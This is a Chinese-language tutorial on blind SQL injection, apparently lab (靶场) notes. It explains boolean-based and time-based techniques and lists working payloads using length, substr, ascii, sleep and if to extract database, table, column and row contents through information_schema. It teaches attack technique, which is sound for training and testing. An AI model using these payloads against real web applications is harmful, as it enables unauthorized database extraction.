一、盲注介绍
所谓盲注就是在服务器没有错误回显的时候完成的注入攻击。
服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。
布尔盲注
布尔很明显trup跟fales,也就是说他只会根据你的诸如信息
返回trup跟fales,也就没有了之前的报错信息。
时间盲注
界面返回值只有一种,trup无论输入任何值,返回情况都会按
正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差
来判断注入的语句是否正确。
二、盲注需要掌握的几个函数
length()函数,返回字符串的长度 select length(123456);
substr()截取字符串(语法:substr(str,pos,len);) select substr(str,pos,len);
ascii()返回字符串的ascii码[将字符串变为数字wei] select ascii('a');
sleep()将程序挂起一段时间n为n秒
if(expr1,expr2,expr3)判断语句,如果第一个语句正常就执行第二个语句如果错误就执行第三个语句
三、盲注靶场的做法
猜解当前数据库名称长度:
id=1' and(length(database()))>9#
利用ascii码猜解当前数据库名称:
and(ascii(substr(database(),1,1)))=115--+返回正常,说明数据库名称第一位是s
and(ascii(substr(database(),2,1)))=101--+返回正常,说明数据库名称第一位是e
猜表名:
and(ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1)))=101--+ 返回正常,说明数据库表名的第一个的第一位是e
猜字段名:
and(ascii(substr((select column_name from information_schema.columns where table_name='zkaq'
limit 0,1),1,1)))=102--+返回正常,说明zkaq表中的列名称第一位是f
猜内容:
and(ascii(substr((select zkaq from zkaq limit 4,1),1,1)))=122--+返回正常,说明zkaq列第一位是z
四、延时注入靶场做法
if(expr1,expr2,expr3)判断语句,如果第一个语句正常就执行第二个语句如果错误就执行第三个语句
and if(ascii(substr(database(),1,1))>120,0,sleep(10))--+
第一关:select*from news where id="1"
and if(length(database())=12,sleep(5),'a')-- qwe"
And if(ascii(substr(database()1,1))=107,sleep(2),’a’) -- qwe”
第二关:select*from news where id=('1')
延时盲注其实和布尔盲注没有什么他大区别,只不过是依靠页面是否正常判断,一个是否
延时判断,在操作上其实也差不多,只不过延时多个if()
if(ascii(substr(database(),1,1)) >1,sleep(2),%27a%27)
if(条件,成立则执行第二个参数,否则执行地三个参数)
ascii(substr(database(),1,1)) >1
当前库名第一个字符对应的ascii码是否大于1
综上,这句话得意思是
当前库名得第一个字符对应的ascii码如果大于1,则延迟2秒,否则返回a